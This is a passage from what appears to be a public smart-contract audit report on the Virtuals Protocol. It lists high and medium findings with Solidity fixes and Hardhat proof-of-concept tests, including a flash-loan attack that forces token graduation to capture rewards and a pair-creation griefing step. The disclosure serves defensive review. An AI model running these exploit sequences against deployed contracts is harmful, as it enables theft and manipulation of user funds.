Recommended mitigation steps

Due to lack of documentation, from my personal understanding the comment helps in inferring that the function was meant to be guarded:

    address private _admin; // Admin is able to create contribution proposal without votes

Allowing only an operator or admin to call the ContributionNft::mint should mitigate the issue:

require(_msgSender() == _admin, "Only admin can set elo calculator");

    function mint(
        address to,
        uint256 virtualId,
        uint8 coreId,
        string memory newTokenURI,
        uint256 proposalId,
        uint256 parentId,
        bool isModel_,
        uint256 datasetId
    ) external returns (uint256) {
+       require(_msgSender() == _admin, "Only admin can mint tokens"); 
        IGovernor personaDAO = getAgentDAO(virtualId);

Virtuals marked as informative

[H-05] ValidatorRegistry::validatorScore/getPastValidatorScore allows validator to earn full rewards without actually engaging with the protocol

Submitted by oakcobalt, also found by danzero and YouCrossTheLineAlfie

The ValidatorRegistry::_initValidatorScore function initializes new validators with a base score equal to the total number of proposals that have ever existed, allowing validators to earn full rewards without actually participating in the protocol.

Vulnerabilities

When a new validator is added via addValidator(), their base score is set to _getMaxScore(virtualId) which is implemented as totalProposals(virtualId) in AgentNftV2:

function _initValidatorScore(
    uint256 virtualId,
    address validator
) internal {
    _baseValidatorScore[validator][virtualId] = _getMaxScore(virtualId);
}

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/virtualPersona/ValidatorRegistry.sol#L37

This base score is then added to the validator’s actual participation score in the validatorScore and getPastValidatorScore functions:

function validatorScore(
    uint256 virtualId,
    address validator
) public view virtual returns (uint256) {
    return
        _baseValidatorScore[validator][virtualId] +
        _getScoreOf(virtualId, validator);
}

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/virtualPersona/ValidatorRegistry.sol#L41

    function getPastValidatorScore(
        uint256 virtualId,
        address validator,
        uint256 timepoint
    ) public view virtual returns (uint256) {
        return _baseValidatorScore[validator][virtualId] + _getPastScore(virtualId, validator, timepoint);
    }

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/virtualPersona/ValidatorRegistry.sol#L49

In AgentRewardV2, rewards are distributed based on participation rate calculated as (validatorRewards * nft.validatorScore(virtualId, validator)) / totalProposals, meaning validators with artificially inflated scores receive unearned rewards.

This allows two exploit scenarios:

1. New validators can earn full rewards without ever voting on proposals: Without actually casting votes, a new validator is already entitled to rewards, because their score is non-zero. This is unfair to other validators who might have started voting from the beginning but missed 1 proposal. (See POC)
2. Stakers can game the system by delegating to new validators to maintain 100% reward allocation:

In addition to the first scenario above, a staker can delegate to a new validator every time to earn 100% uptime without ever having to vote.

Impacts

• New validators can earn full rewards without ever voting on proposals.
• Stakers can game the system by delegating to new validators to maintain 100% reward allocation.
• Unfair reward distribution that penalizes validators who have actively participated since the beginning.

Recommended mitigation steps

validatorScore and getPastValidatorScore should be based on actual engagement. For example, consider initializing them to 0 and only taking into account scores earned during their engagement.

Proof of Concept

Unit test on exploit scenario (1). Suppose 2 proposals are created. validator 1 votes for the 1st proposal:

1. validator2 is initialized. validator2’s weight == validator1
2. Check validator2’s score is 2. (100% uptime). Check validator1’s score is 1. 50% uptime.

See added unit test validators get unearned score, risk of exploits in test/rewardsV2.js:

  it.only("validators get unearned score, risk of exploits", async function () {
    this.timeout(120000); // 120 seconds
    //Test setup: 2 proposal are created. validator 1 votes for the 1st proposal.
    //1. validator2 is initialized. validator2's weight == validator1
    //2. check validator2's score is 2. (100% uptime). check validator1's score is 1. 50% uptime.

    const base = await loadFixture(deployWithAgent);
    const { agentNft, virtualToken, agent } = base;
    const { founder, contributor1, validator1, validator2 } =
      await getAccounts();

    // Setup - delegate founder's votes to validator1
    const veToken = await ethers.getContractAt("AgentVeToken", agent.veToken);
    await veToken.connect(founder).delegate(validator1.address);
    await mine(1);

    // Create first proposal and have validator1 vote on it
    const proposalId1 = await createContribution(
      1, // virtualId
      0, // coreId
      0, // parentId
      true, // isModel
      0, // no dataset dependency
      "First contribution",
      base,
      contributor1.address,
      [validator1], // Only validator1 votes on this proposal
      [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
    );

    // Create second proposal but nobody votes on it yet
    const proposalId2 = await createContribution(
      1, // virtualId
      0, // coreId
      0, // parentId
      true, // isModel
      0, // no dataset dependency
      "Second contribution",
      base,
      contributor1.address,
      [], // No votes
      [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
    );

// - There are 2 total proposals
    // - validator1 has voted on 1 of 2 (50% participation)
    // 1. initialize validator2 with equal weight
    // Give validator2 some tokens and stake them to get equal voting power
    await virtualToken.mint(validator2.address, parseEther("100000"));

    // Register validator2 as a new validator
    await agentNft.addValidator(1, validator2.address);

    // 2. Check validator scores
    const validator1Score = await agentNft.validatorScore(
      1,
      validator1.address
    );
    const validator2Score = await agentNft.validatorScore(
      1,
      validator2.address
    );
    const totalProposals = await agentNft.totalProposals(1);

    console.log("Total proposals:", totalProposals.toString());
    console.log("Validator1 score:", validator1Score.toString());
    console.log("Validator2 score:", validator2Score.toString());

    // Validator1 has base score + 1 vote (has actually participated)
    expect(totalProposals).to.equal(2);
    expect(validator1Score).to.equal(1); // participation (1)
    expect(validator2Score).to.equal(2); // validator2 has base score (2) with no participation

    // Calculate uptime percentages
    const validator1Uptime = (validator1Score * 100n) / totalProposals;
    const validator2Uptime = (validator2Score * 100n) / totalProposals;

    console.log("Validator1 uptime percentage:", validator1Uptime, "%");
    console.log("Validator2 uptime percentage:", validator2Uptime, "%");

    // We expect validator2's uptime percentage to be 100% despite not voting on any proposals
    expect(validator2Uptime).to.equal(100);
  });

Test results:

  RewardsV2
Total proposals: 2
Validator1 score: 1
Validator2 score: 2
Validator1 uptime percentage: 50n %
Validator2 uptime percentage: 100n %
    ✔ validators get unearned score, risk of exploits (1547ms)

1 passing (2s)

Virtuals marked as informative

[H-06] Missing prevAgentIdupdate in promptMulti() function may cause token loss by transferring to address(0)

Submitted by Vemus, also found by 4ny0n3, bareli, djshan_eden, dustykid, harsh123, Heyu, ks__xxxxx, odessos42, Raihan, and sergei2340

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/main/contracts/AgentInference.sol#L80-L87

Finding description

The promptMulti() function attempts to optimize token transfers by caching agentTba when the agentId remains unchanged. However, it fails to update prevAgentId inside the loop, which causes agentTba to remain outdated or uninitialized.

As a result, if the first agentId equals the default prevAgentId (0), the contract never sets agentTba before the first transfer, causing a safeTransferFrom(sender, address(0), amount), losing the user’s tokens.

Additionally, when the same agentId reoccurs after a different one, agentTba may point to the wrong address, resulting in unexpected transfers.

Recommended mitigation steps

Consider implementing the following version of the code:

// Initialize prevAgentId to a value that no valid agentId will ever match,
// ensuring the first iteration always enters the if-block.
uint256 prevAgentId = type(uint256).max;

// Initialize agentTba to a placeholder; it will be set properly on the first iteration.
address agentTba = address(0);

for (uint256 i = 0; i < len; i++) {
    uint256 agentId = agentIds[I];
    require(amounts[i] > 0, "Amount must be > 0"); // Validate if amounts = 0

    // If the agentId changes, fetch the corresponding agent TBA (target address)
    if (prevAgentId != agentId) {
        agentTba = agentNft.virtualInfo(agentId).tba;
        require(agentTba != address(0), "Invalid agent TBA");  // Ensure the target address is valid
        prevAgentId = agentId;  // Update the cache to reflect the current agentId
    }

    token.safeTransferFrom(sender, agentTba, amounts[i]);

    inferenceCount[agentId]++;
    emit Prompt(sender, promptHashes[i], agentId, amounts[i], coreIds[i]);
}

Proof of Concept

Assume the following scenario. The loop processes the following values, controlled by user:

agentIds = [0, 1, 0]
amounts  = [10, 20, 30]

Initialization:

prevAgentId = 0
agentTba = address(0)

Iteration 0:

agentId = 0

1. Check: if (prevAgentId != agentId) → if (0 != 0) → FALSE
2. No update to agentTba (remains address(0))
3. Transfer:

token.safeTransferFrom(sender, address(0), 10)

→ User lost 10 tokens unintentionally.

Iteration 1:

agentId = 1

1. Check: if (prevAgentId != agentId) → if (0 != 1) → TRUE
2. agentTba is updated: agentTba = agentNft.virtualInfo(1).tba

→ BUT: prevAgentId is not updated, so it still holds 0

3. Transfer:

token.safeTransferFrom(sender, agent1Tba, 20)

→ So that’s correct.

Iteration 2:

agentId = 0

1. Check: if (prevAgentId != agentId) → if (0 != 0) → FALSE
2. No update to agentTba, which still holds the address for agent 1.
3. Transfer:

token.safeTransferFrom(sender, agent1Tba, 30)

→ Tokens are sent to the wrong agent (agent 1 instead of agent 0).

Root Cause

The condition to fetch a new agentTba relies on prevAgentId being updated after each successful fetch.

• Because prevAgentId is never updated inside the loop, the caching logic becomes broken:

  • The first transfer may lose tokens (if agentId == 0 and no update is triggered),
  • Subsequent transfers may send tokens to incorrect agents if agentId switches back and forth.

Virtuals marked as informative

Medium Risk Findings (26)

[M-01] Attacker can prevent user from executing application registered through initFromToken() in AgentFactoryV4.

Submitted by 0x04bytes, also found by 0xShitgem, anchabadze, levi_104, newspacexyz, oakcobalt, Olugbenga, patitonar, RaOne, shui, and YouCrossTheLineAlfie

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/084a1b46749e2a9924ecc8c06982a40cc8b3dd5a/contracts/virtualPersona/AgentFactoryV4.sol#L546

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/084a1b46749e2a9924ecc8c06982a40cc8b3dd5a/contracts/virtualPersona/AgentFactoryV4.sol#L226

Finding description

AgentFactoryV4 allowed user to register agent with existing/custom agent token. The flow is divided in two steps:

1. initFromToken(), where the user populates registration with required metadata.
2. executeApplication(), where the application is executed, setting up agent token, dao and provision liquidity on uniswap v2.

When an application is executed in executeApplication(), the contract will check whether the agent token is custom or not. When the agent token is custom, the contract will skip agent token creation step and instead directly create a new pair on uniswap v2 for liquidity provisioning. To prevent the user from provisioning liquidity before execution, the _createPair() internal function will check the existence of the pair. But this check is not enough because any user can permissionlessly create a new pair without provisioning liquidity. This condition can be used by attacker to prevent user from executing application by simply creating a transaction that calls uniswapV2Factory.createPair(agentToken, assetToken) before the victim calls executeApplication(). The execution will fail because the check require(factory.getPair(tokenAddr, assetToken) == address(0), "pool already exists"); will revert since the pair is already created by the attacker in the previous transaction.

Impact

User that register through initFromToken() unable to execute the application.

Proof of Concept

1. The attacker monitor the transaction that calls agentFactoryV4.initFromToken()
2. Back-run that transaction with a transaction that calls uniswapV2Factory.createPair(agentToken, assetToken).
3. The executeApplication() now will revert with pool exists error for the given application id.

Recommended Mitigation Steps

Simply verifying uniswapV2Factory.getPair(tokenAddr, assetToken) == address(0)) is not enough. When the token pair exists, it is crucial to check if the totalSupply of LP token is equal to 0. By doing that, we can make sure that there is no liquidity provisioned before the execution.

function _createPair(address tokenAddr) internal returns (address uniswapV2Pair_) {
    IUniswapV2Factory factory = IUniswapV2Factory(IUniswapV2Router02(_uniswapRouter).factory());

+   uniswapV2Pair_ = uniswapV2Factory.getPair(tokenAddr, assetToken);
+   // valid only if the pair doesn't exist or the total supply of the pair is 0
+   require((uniswapV2Pair_ == address(0)) || (IUniswapV2Pair(uniswapV2Pair_).totalSupply() == 0), "pool already exists");
-   require(factory.getPair(tokenAddr, assetToken) == address(0), "pool already exists");

+   if(uniswapV2Pair_ == address(0)) {
+       uniswapV2Pair_ = factory.createPair(tokenAddr, assetToken);
+   }

    return (uniswapV2Pair_);
}

[M-02] Missing slippage protection on buy and sell

Submitted by EPSec, also found by 0x1982us, 0x60scs, 0xbc000, 0xterrah, adam-idarrha, b1n4ry, bareli, BlackAdam, BowTiedOriole, bytesguard, chupinexx, classic-k, CoheeYang, Damola0x, danzero, Ejineroz, Eniwealth, gregom, harsh123, jamshed, Jeremias, Kweks, mihailvichev, ngo, NHristov, PolarizedLight, PotEater, pro_king, Rorschach, SeveritySquad, Shinobi, shui, slowbugmayor, ThanatOS, TheCarrot, Vemus, YouCrossTheLineAlfie, and zubyoz

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/fun/FRouter.sol#L95-L163

Finding description

The sell and buy functions in the FRouter contract lack a slippage check to ensure that the amountOut (the amount of tokens received after the trade) is not less than a certain percentage of the expected amountOut. Slippage occurs when the price of a token changes between the time a transaction is submitted and when it is executed, often due to low liquidity or high volatility.

Impact

1. User Losses: Without a slippage check, users may receive significantly fewer tokens than expected, especially in volatile markets or low-liquidity pools.
2. Front-Running Attacks: Malicious actors can exploit the lack of a slippage check by front-running transactions, manipulating the reserves to cause unfavorable price changes for the user.
3. Reduced Trust: Users may lose confidence in the platform if they experience unexpected losses due to slippage, harming the platform’s reputation.
4. Economic Exploits: Arbitrageurs or bots could exploit the lack of slippage protection to profit at the expense of users, draining liquidity from the pool.

Proof of Concept

1. Deploy the FRouter contract and initialize it with a factory and asset token.
2. Set up a pair with low liquidity between TokenA and the asset token.
3. Call the sell or buy function with a large amountIn during a period of high volatility or low liquidity.
4. Observe that the amountOut received is significantly lower than expected, with no mechanism to revert the transaction.

Recommended Mitigation Steps

To address this issue, add a slippage check in both the sell and buy functions. The functions should accept a minAmountOut parameter, which specifies the minimum acceptable amountOut. If the actual amountOut is less than minAmountOut, the transaction should revert.

Example fix for the sell function:

function sell(
    uint256 amountIn,
    address tokenAddress,
    address to,
    uint256 minAmountOut // Add a parameter for slippage protection
) public nonReentrant onlyRole(EXECUTOR_ROLE) returns (uint256, uint256) {
    require(tokenAddress != address(0), "Zero addresses are not allowed.");
    require(to != address(0), "Zero addresses are not allowed.");

    address pairAddress = factory.getPair(tokenAddress, assetToken);

    IFPair pair = IFPair(pairAddress);

    IERC20 token = IERC20(tokenAddress);

    uint256 amountOut = getAmountsOut(tokenAddress, address(0), amountIn);

    // Ensure the amountOut is greater than or equal to minAmountOut
    require(amountOut >= minAmountOut, "Slippage exceeded");

    token.safeTransferFrom(to, pairAddress, amountIn);

    uint fee = factory.sellTax();
    uint256 txFee = (fee * amountOut) / 100;

    uint256 amount = amountOut - txFee;
    address feeTo = factory.taxVault();

    pair.transferAsset(to, amount);
    pair.transferAsset(feeTo, txFee);

    pair.swap(amountIn, 0, 0, amountOut);

    if (feeTo == taxManager) {
        IBondingTax(taxManager).swapForAsset();
    }

    return (amountIn, amountOut);
}

Similarly, apply the same logic to the buy function by adding a minAmountOut parameter and checking it against the calculated amountOut. This will protect users from unexpected losses due to slippage and improve the overall trading experience.

[M-03] Slippage protection in AgentTax::dcaSell and BondingTax::swapForAsset is calculated at execution time, effectively retrieving the very same price that the trade will be executing at, ultimately providing no protection

Submitted by Jeremias, also found by adam-idarrha, FavourOkerri, joicygiore, maze, mbuba666, odessos42, slowbugmayor, testnate, and vasilishte

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/tax/BondingTax.sol#L139-L143

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/28e93273daec5a9c73c438e216dde04c084be452/contracts/tax/AgentTax.sol#L282-L283

Finding description

Automated Market Makers define the price of asset based on a pool of two assets. The ratio at which they exchange, is defined by a curve of constant product. Except when liquidity is proportionally increased for both, the expected behaviour is that as one increases, the other decreases.

In a pair of token A and token B, if a user deposits the first token, the amount he would receive of the second token is defined as the amount of the other token (token B) that we have to take away for their product to remain constant. Thus, every time a swap occurs, prices does even if slightly, change.

Sometimes before a transaction occurs, users could have also called (and executed) a swap before us, adversely affecting the price ratio (and if the liquidity of the pool is low, that might be even more noticeable). This is an adverse situation we call slippage. To protect against that, some protocols take a minimum amount out.

However, this protection only makes sense (as the risk it protects against) from outside the transaction in which it occurs. Because once the transaction is executing, unless we work with reentrant tokens or something akin to that, the price we are going to work with is the same one that is being used to calculate slippage protection.

Calculating a percentage of acceptable loss from a price fetched at the time of execution then is of no use, since that is already the price that we will be exposed to, be it acceptable or not.

In BondingTax, the BondingTax::SwapForAsset function looks like this:

    function swapForAsset() public onlyBondingRouter returns (bool, uint256) {
        uint256 amount = IERC20(taxToken).balanceOf(address(this));

        require(amount > 0, "Nothing to be swapped");

        if (amount < minSwapThreshold) {
            return (false, 0);
        }
        if (amount > maxSwapThreshold) {
            amount = maxSwapThreshold;
        }
        address[] memory path = new address[](2);
        path[0] = taxToken;
        path[1] = assetToken;

@>        uint256[] memory amountsOut = router.getAmountsOut(amount, path); //@audit this gets whatever the price already is at execution
        require(amountsOut.length > 1, "Failed to fetch token price");

        uint256 expectedOutput = amountsOut[1]; //@audit no protection
        uint256 minOutput = (expectedOutput * (10000 - _slippage)) / 10000; 
        try router.swapExactTokensForTokens(amount, minOutput, path, treasury, block.timestamp + 300) returns (
            uint256[] memory amounts
        ) {
            emit SwapExecuted(amount, amounts[1]);
            return (true, amounts[1]);
        } catch {
            emit SwapFailed(amount);
            return (false, 0);
        }
    }

Here we see that the output is calculated from the price the function fetches at execution time:

@>        uint256[] memory amountsOut = router.getAmountsOut(amount, path); //@audit calculated from current price
        require(amountsOut.length > 1, "Failed to fetch token price");

        uint256 expectedOutput = amountsOut[1]; //@audit expected output is calculated from amountsOut
        uint256 minOutput = (expectedOutput * (10000 - _slippage)) / 10000;

This protection is insufficient. A similar implementation is tried in AgentTax::dcaSell:

    function dcaSell(uint256[] memory agentIds, uint256 slippage, uint256 maxOverride) public onlyRole(EXECUTOR_ROLE) {
        require(slippage <= DENOM, "Invalid slippage"); 
        uint256 agentId;
        for (uint i = 0; i < agentIds.length; i++) {
            agentId = agentIds[i];

            TaxAmounts memory agentAmounts = agentTaxAmounts[agentId];
            uint256 amountToSwap = agentAmounts.amountCollected - agentAmounts.amountSwapped;

            if (amountToSwap > maxOverride) {
                amountToSwap = maxOverride; 
            }

@>            uint256 minOutput = ((amountToSwap * (DENOM - slippage)) / DENOM);  //@audit slippage is received as a ratio here
@>            _swapForAsset(agentId, minOutput, maxOverride);  //@audit a ratio over the price at execution
        }
    }

In both cases, the slippage protection is calculated at run-time. And that’s not a good enough protection against strong price or market movements occurring immediately before our call to uniswap is performed.

Impact

The risk at which the protocol is exposed thus, is that price movements could lead to swap being executed at not acceptable prices brought by market dynamics, with no protection. The protocol might lose part of the funds that are meant to go to their treasure in the swap, or creators of sentient categorized agents might lose part of their trading fees earned. Given that for now there is no public transaction pool in BASE, the severity might be deserving of medium.

Recommended mitigation steps

I think there are more than one considerations to make here.

Given that the purpose of one of these functions AgentTax::DcaSell is executing many swaps in a loop, setting a single slippage protection inside the call could be not ideal, as the transactions run one after the other; and if the last one hits slippage, all of them get a revert (but could be chosen if that behaviour is desired).

Also, the other of the mentioned functions (BondingTax::swapForAsset) is meant to be called by another contract at execution (FRouter::buy and FRouter::sell, to handle fees), thus passing slippage protection parameters as an argument might be difficult.

Some solutions could be:

• For AgentTax::DcaSell, use a current starting price associated with a TaxToken at which execution of swap is acceptable to pass as an argument, and revert if it isn’t met.

  • To get the current price at execution time, IUniswapV2Router01::getAmountsOut could be used, passing a reference value as amount, and then calculating the price from it and the value returned, to compare it with the argument and check slippage.

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

• For BondingTax::swapForAsset:

  • If the calls inside FRouter::buy and FRouter::sell could be removed, the implementation could also be similar as that suggested for AgentTax::DcaSell.
  • Otherwise, you could set in the contract a minimum acceptable price (or a series of them, if you were to implement many taxTokens, for both contracts) in which you would consider more important to avoid the slippage lose than having the swap fail in the try-catch.

Proof of Concept

1. BondingTax::SwapForAsset is called by the bondingRouter, to swap a taxToken for the AssetToken.
2. Someone makes a very big swap exactly before the call in relevant pool.
3. The call executes.
4. We swapped fees cheaply.
5. After our swap the price gets a correction rather quickly to its average, but we already made the swap at a disadvantageous price.

And in the other case:

1. AgentTax::DcaSell is called to process taxes.
2. Someone makes a very big swap exactly before the call in relevant pool.
3. Since slippage protection intends to be calculated at run-time, it never hits, even though the price could have dropped very significantly. So our call executes.
4. Swaps are performed successfully, and the protocol and the creators of agents would lose a significant part of their fees.

[M-04] Launched tokens are vulnerable to flashloan attacks forcing premature graduation, allowing reward manipulation

Submitted by oakcobalt, also found by mbuba666

Bonding.sol only allows a launched memecoin to graduate when gradThreshold is met and enough liquidity (assetToken balance) is gained through the investor community trading. This ensures the price stability of the agentToken upon graduation.

The vulnerability is that current implementation allows the investor community trading to be bypassed by flashloan attack. A malicious founder or founder controlled account can force graduate a token with a flashloan and gain exposure to reward emissions.

The key attack vector: buy() memecoin with flashloaned virtual tokens (e.g. from already deployed uniswapV2pairs or other pools with virtual) → sell atomically in newly deployed uniswapV2pair. This forces graduation of a freshly deployed memecoin with no community support.

The key vulnerable code that enable the attack is upwrapToken() which allows converting memecoins to agentTokens do not have any time-based restrictions, allowing atomic unwrap upon graduation. A flashloan loop can be closed atomically through unwrapToken.

//contracts/fun/Bonding.sol
    function unwrapToken(address srcTokenAddress, address[] memory accounts) public {
        Token memory info = tokenInfo[srcTokenAddress];
        require(info.tradingOnUniswap, "Token is not graduated yet");

        FERC20 token = FERC20(srcTokenAddress);
        IERC20 agentToken = IERC20(info.agentToken);
        address pairAddress = factory.getPair(srcTokenAddress, router.assetToken());
        for (uint i = 0; i < accounts.length; i++) {
            address acc = accounts[i];
            uint256 balance = token.balanceOf(acc);
            if (balance > 0) {
                token.burnFrom(acc, balance);
|>              agentToken.transferFrom(pairAddress, acc, balance);//@audit no time restrictions, unwrapToken allows atomic agentToken conversion upon graduation
            }
        }
    }

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/084a1b46749e2a9924ecc8c06982a40cc8b3dd5a/contracts/fun/Bonding.sol#L416-L417

Flows: flashswap/flashloan -> bonding::buy -> bonding::unwrapToken -> uniswapV2router::swapExactTokensForETHSupportingFeeOnTransferTokens -> paypack flashswap/flashloan

Impact

1. Premature graduation: allowing easy price manipulation through flashloan that bypass community support and liquidity.
2. Reward distribution is manipulated: forced graduated token will have Lp values (getLPValue()) and eligible for reward shares, reducing other legitimate agentToken rewards. Malicious founder gains rewards and dilute other agentToken’s rewards.
3. Market manipulation: the deployed uniswapV2pair through flash loan attack doesn’t have intended liquidity and agent token price stability because uniswapV2pair has unbalanced reserves.

Recommended mitigation steps

Consider enforcing a delay in upwrapToken such that flash loan cannot be closed atomically.

Proof of Concept

Suppose founder launched Cat memcoin from bonding.sol. Attacker can be a founder or a founder controlled account.

1. Attacker takes out flashloan (virtual token).
2. Attacker uses flashloan to buy memecoin and trigger graduation.
3. Unwrap tokens to receive agent tokens.
4. Trade agent tokens for virtual tokens in Uniswap pair atomically.
5. Attacker paying back flashloan with traded out virtual tokens (only paying extra fees/tax in trading).
6. Check that the uniswap LP tokens are automatically staked in veToken.
7. Delegate to self to be eligible for rewards.
8. Distribute rewards and verify forced graduated agent token receives allocation.

See added unit test flash loan attack force premature graduation, manipulating rewards in test/bonding.js:

  it.only("flash loan attack force premature graduation, stealing rewards", async function () {
    this.timeout(120000); // 120 seconds

    // Setup test environment
    const { virtualToken, bonding, fRouter, agentFactory, agentNft } =
      await loadFixture(deployBaseContracts);
    const { founder, trader, treasury, deployer } = await getAccounts();

    // Initial setup - founder launches a memecoin
    await virtualToken.mint(founder.address, parseEther("200"));
    await virtualToken
      .connect(founder)
      .approve(bonding.target, parseEther("1000"));

    // Launch the token
    await bonding
      .connect(founder)
      .launchFor(
        "Cat",
        "$CAT",
        [0, 1, 2],
        "cat memecoin",
        "",
        ["", "", "", ""],
        parseEther("200"),
        founder.address
      );

    const tokenInfo = await bonding.tokenInfo(await bonding.tokenInfos(0));
    console.log("Token created:", tokenInfo.token);

    // Step 1: Attacker takes out flashloan (virtual token)
    // Use direct mint to mock flashloan interaction
    const flashLoanAmount = parseEther("100000");
    await virtualToken.mint(trader.address, flashLoanAmount);
    console.log(
      "Flash loan acquired:",
      formatEther(flashLoanAmount),
      "VIRTUAL"
    );

    // Step 2: Attacker uses flashloan to buy memecoin and trigger graduation
    await virtualToken.connect(trader).approve(fRouter.target, flashLoanAmount);

    // Record token balances before attack
    const initialBalances = {
      traderVirtualBefore: await virtualToken.balanceOf(trader.address),
      pairVirtualBefore: await virtualToken.balanceOf(tokenInfo.pair),
      founderCatBefore: await ethers
        .getContractAt("IERC20", tokenInfo.token)
        .then((token) => token.balanceOf(founder.address)),
    };

    console.log("Initial balances:");
    console.log(
      "- Trader VIRTUAL:",
      formatEther(initialBalances.traderVirtualBefore)
    );
    console.log(
      "- Pair VIRTUAL:",
      formatEther(initialBalances.pairVirtualBefore)
    );
    console.log(
      "- Founder CAT:",
      formatEther(initialBalances.founderCatBefore)
    );

    // Buy memecoin with flashloaned funds to trigger graduation
    await expect(
      bonding.connect(trader).buy(parseEther("35000"), tokenInfo.token)
    ).to.emit(bonding, "Graduated");

    // Check if token graduated
    const tokenInfoAfterGraduation = await bonding.tokenInfo(
      bonding.tokenInfos(0)
    );
    expect(tokenInfoAfterGraduation.agentToken).to.not.equal(
      "0x0000000000000000000000000000000000000000"
    );
    expect(tokenInfoAfterGraduation.tradingOnUniswap).to.equal(true);
    console.log("Agent token created:", tokenInfoAfterGraduation.agentToken);

    // Record trader's CAT token balance
    const traderCatBalance = await ethers
      .getContractAt("IERC20", tokenInfo.token)
      .then((token) => token.balanceOf(trader.address));
    console.log("Trader CAT balance:", formatEther(traderCatBalance));

    // Step 3: Unwrap tokens to receive agent tokens
    await bonding
      .connect(trader)
      .unwrapToken(tokenInfo.token, [trader.address]);

    // Check agent token balance after unwrapping
    const agentToken = await ethers.getContractAt(
      "IERC20",
      tokenInfoAfterGraduation.agentToken
    );
    const traderAgentTokenBalance = await agentToken.balanceOf(trader.address);
    console.log(
      "Trader agent token balance after unwrap:",
      formatEther(traderAgentTokenBalance)
    );

    // Step 4: Trade agent tokens for virtual tokens in Uniswap pair
    // We need to get uniswap pair and router
    const uniswapFactory = await ethers.getContractAt(
      "IUniswapV2Factory",
      process.env.UNISWAP_FACTORY
    );
    const uniswapPair = await uniswapFactory.getPair(
      virtualToken.target,
      tokenInfoAfterGraduation.agentToken
    );
    console.log("Uniswap pair:", uniswapPair);

    const uniswapRouter = await ethers.getContractAt(
      "IUniswapV2Router02",
      process.env.UNISWAP_ROUTER
    );

    // Approve agent tokens to be spent by router
    await agentToken
      .connect(trader)
      .approve(uniswapRouter.target, traderAgentTokenBalance);

    // Swap agent tokens for virtual tokens
    await uniswapRouter
      .connect(trader)
      .swapExactTokensForTokensSupportingFeeOnTransferTokens(
        traderAgentTokenBalance,
        0, // Accept any amount of tokens
        [tokenInfoAfterGraduation.agentToken, virtualToken.target],
        trader.address,
        Math.floor(Date.now() / 1000) + 60 * 20 // 20 minutes from now
      );

    // Step 5: Check balances after swap to verify flash loan repayment
    const finalVirtualBalance = await virtualToken.balanceOf(trader.address);
    console.log(
      "Final trader VIRTUAL balance:",
      formatEther(finalVirtualBalance)
    );

    // Verify that trader has enough to repay flash loan
    console.log("Flash loan amount:", formatEther(flashLoanAmount));
    console.log(
      "Difference:",
      ((flashLoanAmount - finalVirtualBalance) * 100n) / flashLoanAmount
    );

    // A typical flash loan would require the balance to be >= the loan amount
    // Due to fees and taxes, there should be a small difference

    // Step 6: Check if the uniswap LP tokens are automatically staked in veToken

    // Since this is the first agent created, its ID should be 1
    const virtualId = 1;
    const lpInfo = await agentNft.virtualLP(virtualId);

    console.log("Virtual ID:", virtualId);
    console.log("LP token:", lpInfo.pool);
    console.log("veToken:", lpInfo.veToken);

    // Check LP staking
    const veToken = await ethers.getContractAt("AgentVeToken", lpInfo.veToken);
    const founderVeTokenBalance = await veToken.balanceOf(founder.address);
    console.log("founder veToken balance:", formatEther(founderVeTokenBalance));

    // Step 7: Delegate to self to be eligible for rewards
    if (founderVeTokenBalance > 0) {
      await veToken.connect(founder).delegate(founder.address);
      console.log("Trader delegated to self");
    }

    // Step 8: Distribute rewards and verify allocation
    // Deploy rewards contract to verify reward allocation
    console.log("Setting up rewards contract for validation...");
    const rewardsFactory = await ethers.getContractFactory("AgentRewardV3");
    const rewards = await upgrades.deployProxy(rewardsFactory, [
      virtualToken.target,
      agentNft.target,
      {
        protocolShares: 1000, // 10%
        stakerShares: 9000, // 90%
      },
    ]);
    await rewards.waitForDeployment();

    // Grant governance role to deployer
    await rewards.grantRole(await rewards.GOV_ROLE(), deployer.address);

    // Check LP value (should be based on VIRTUAL token in the pool)
    const lpValue = await rewards.getLPValue(virtualId);
    console.log("LP value for virtualId 1:", formatEther(lpValue));

    // Mint some VIRTUAL tokens to distribute as rewards
    const rewardAmount = parseEther("10000"); // 10,000 VIRTUAL tokens as rewards
    await virtualToken.mint(deployer.address, rewardAmount);
    await virtualToken.approve(rewards.target, rewardAmount);

    // Distribute rewards
    await rewards.distributeRewards(rewardAmount, [virtualId], false);
    console.log("Rewards distributed");

    // Check rewards allocation
    const agentRewardCount = await rewards.agentRewardCount(virtualId);
    console.log("Agent reward count:", agentRewardCount.toString());

    // Verify rewards were allocated
    expect(agentRewardCount).to.be.gt(0);

    // Access the first agent reward directly
    const agentReward = await rewards.getAgentReward(virtualId, 0);
    console.log("Agent reward details:");
    console.log("- Staker Amount:", formatEther(agentReward.stakerAmount));
    console.log(
      "- Validator Amount:",
      formatEther(agentReward.validatorAmount)
    );
    console.log("- Total Staked:", formatEther(agentReward.totalStaked));

    // Both stakers and validators receive rewards from the manipulated LP value
    expect(agentReward.stakerAmount).to.be.gt(0);
    expect(agentReward.validatorAmount).to.be.gt(0);
  });

See test results:

  Bonding
Token created: 0xeC05bC6e8B4DEc3299fA25BDFBd44A43Db415995
Flash loan acquired: 100000.0 VIRTUAL
Initial balances:
- Trader VIRTUAL: 100000.0
- Pair VIRTUAL: 100.0
- Founder CAT: 32258064.516129032258064517
Agent token created: 0x08BD7109ed9c72771A4e494D155e2F31C65205D9
Trader CAT balance: 889001778.003556007112014224
Trader agent token balance after unwrap: 889001778.003556007112014224
Uniswap pair: 0x23457Bea4813642d6f3d4BFDDD461d7f738639cF
Final trader VIRTUAL balance: 97209.656939017097749081
Flash loan amount: 100000.0
Difference: 2n
